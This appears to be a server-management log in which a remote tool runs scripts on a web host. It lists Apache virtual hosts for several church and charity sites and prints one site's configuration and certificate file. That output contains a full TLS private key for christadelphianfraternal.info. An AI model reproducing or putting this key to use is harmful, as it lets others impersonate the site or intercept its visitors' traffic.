MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:22:58: Establishing a connection
2026-01-03 19:22:59: 

PUT: /tmp/pkp758008

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:22:59: 

chmod 755 /tmp/pkp758008; /tmp/pkp758008; rm /tmp/pkp758008

2026-01-03 19:22:59: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:22:59: 

PUT: /tmp/pkp577686

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/christadelphianfraternal_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:22:59: 

chmod 755 /tmp/pkp577686; /tmp/pkp577686; rm /tmp/pkp577686

2026-01-03 19:22:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/christadelphianfraternal_www_info.conf	1555

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:22:59: 

PUT: /tmp/pkp125458

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:22:59: 

chmod 755 /tmp/pkp125458; /tmp/pkp125458; rm /tmp/pkp125458

2026-01-03 19:22:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt	5433
b5:e8:fc:fa:cf:83:18:a1:ed:31:aa:19:53:06:b0:bc

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBbBMOWZa5SpdgeAhNIVzGD1JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjE1WhcNMjYwMzI4MDUwMjE0WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBALdE8bvbOc1XuAP1uRgNVfx7t0QjP6t7bDZdYYdOuVFX
3Jg4jcZoSgwt162iF9aLEXy1W1d7q7C/3DiaITZg9u2/3Ri6vu+O+lhIVS5oRmY+
gZu5vaCOP3BueuMrtHiXkGHpM3r5btVN0nKPReJ/Lx+zatx16SggegIYLn2FqgVz
Dz2rUUU+n+etg6C39moTOSd4QdGpXWLj8DD1sLWWToqI099Iuws4vAd/n8fuGxUy
WYmrr3q74D0TAs8YKB31kbW48Sv8GYY6IwDKMPDG958vn8ygl5YTAa4jrU/B7Gkb
REWegBZdvbuLrZLaQeRujgiCuCu3N2a1ZGaaiPMH4m0CAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUnwd2gGRCPZe+yE/jxiiZ/x7I6N8wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzQuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGb
Y4t/fQAABAMARjBEAiBxLWW3FcjtHOAmcYlhit7lqT8wGspkLetN6AmaIpOgLwIg
frJCfyy1XoKmrxquYHob1YOY3S6OQZGmmexTdxuq/rYAdgDRbqmlaAd+ZjWgPzel
3bwDpTxBEhTUiBj16TGzI8uVBAAAAZtji4B9AAAEAwBHMEUCIQCS+y5bwvIOxbR1
6g7ceC0tCJKdphekmN6ckwXZrrPZ5wIgI1TaRT5eZHEUVY2Gr0stPmcz9jvEumgX
txsqa9XCmaEwDQYJKoZIhvcNAQELBQADggEBAJh1Sn8p1NGQrARf8Z4qJIgLZAGD
X8BwCcNrf4n32peLkwD9hPd2VxBrhdvcxoLBJpwZbGmGRM8kwqZLh94XWrevS5Zv
BxUY8+OQxvkWsBuY7iE8FTEiNs85fAwCUlkwMlMB8/bvAbvjp2ZkHlHDjvXfYoj+
hCI0QSY16845CeTAO8ky7VpxohfXnBmhDbVzHQ/VJ/ILsh5Oc4HLR/Q2Xfzm819H
DRDRAasCy1IVFfTVh8PPIHpcq/MILOCKq6Zh3V7Y/RaR2udOd206OxXc1shbmxXy
+G4/iJ1cvRbyXOvCqQaV7NbbAMn9tU9pnXM/IUrxwMC5N+4oTh0sPplwSA8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3RPG72znNV7gD
9bkYDVX8e7dEIz+re2w2XWGHTrlRV9yYOI3GaEoMLdetohfWixF8tVtXe6uwv9w4
miE2YPbtv90Yur7vjvpYSFUuaEZmPoGbub2gjj9wbnrjK7R4l5Bh6TN6+W7VTdJy
j0Xify8fs2rcdekoIHoCGC59haoFcw89q1FFPp/nrYOgt/ZqEzkneEHRqV1i4/Aw
9bC1lk6KiNPfSLsLOLwHf5/H7hsVMlmJq696u+A9EwLPGCgd9ZG1uPEr/BmGOiMA
yjDwxvefL5/MoJeWEwGuI61PwexpG0RFnoAWXb27i62S2kHkbo4IgrgrtzdmtWRm
mojzB+JtAgMBAAECggEADuWEvJ9KKH270F6Vx/W1iotHzzsKPtcOabDXb5cfixQY
MytNotXxRuInCM8HHwI4zqkzHn5H61r8/IDSuEfTamnQ/+SWBoTZpnliqx4Asujb
whur5TQKxgnE5Vg1GCRBsSOycol5z86+j19D7/AklXAQ/JB8/iz9ndP3W26U7lJT
rbXMelTqaKJXF0Gozl19elwyjnwDg93QrXY5ezFPUjObdhoSnC7sUXTpgTxee0Gd
fRYNSse6upZerr1DTIB20aJs5ALKGE6ZCdTjgnJWadZDdyArw6O/nyLTvmHjTRgI
+lOtDhzDdnaDxCOIvuUxtuZf3eX470CreCBNb+CRxQKBgQDe45jpFpe8+DeUCuz3
La45zgVtoTbzBQNihiTbRPZQpJKdRrepo7hnvnszWcrhsK0CjREk1X3fZ+NN/OYn
8YM6gy+lfPmpA1QQSk1+BwW5x4uLthEMpU/QSPnHN++46fvjVaNzFlADWcpik/tl
5L1w/dx7maKdhxV5wZ25l9RtywKBgQDSfp7SF/+EI/N5YlX5nK/II5eYtbrWZ53r
jrUC7hBfYaoCze6ybmVYWhEEL/Uy+JR9cl2WSIoBTFCpFwQCG3IiCqMgBt+Lg8dM
yw8cxEcWVL++rAkh5Zat9vJ+qgdFeIXI6l/nelHMGqG1XM7EC7WBYVcMvaC+Volw
cfY/RcRppwKBgQCuuzwXlreT0/82Fq6YQ/5uoH0O6bB7KXXy2fiw0MpMhAfQNi0r
VwbshZ5trjnnXirzcgV7m8ZWykmezODddW8MAuXqVSQfhFV1g9pmLzkk4DMcbrnE
8R+1yE/QBqDulLf8Cxnc0iQdzFllmF8gDQcaOlmLp/Ccj9adIdT1Nvq4qwKBgGcA
+ysH/0tkZFJz4mqBWCtx708VLtaYYdjRPpaudGiYXB9/Ml0yVHmFqWoJJc3JgrBY
dJ+D47R66cW0s4tsbs9lsSmM83tMAwz7GOwUyEyPMD1X5igmNzPt8gA1p9VBAwas
Wj3lx30/Uv5y6eNZb3pebcCYUr6RjjPuMHgJ5fFlAoGBALRrcS1n1ZDddoybZN2e
2hF5+6jcrNYNLXN4NEpxVrMefVgmUOPXPx+VlTdOInd0TG3HqNDX6LKMkAuFDi42
2VPy1J9UYuD8w4bhnKJGDCaybzlxAQZ3Bl6vOVsy/WSxnSH0Uk5/+iHbzJ1xgrMC
+AgIJ5Zom/ll8mhDvJm1sxx3
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
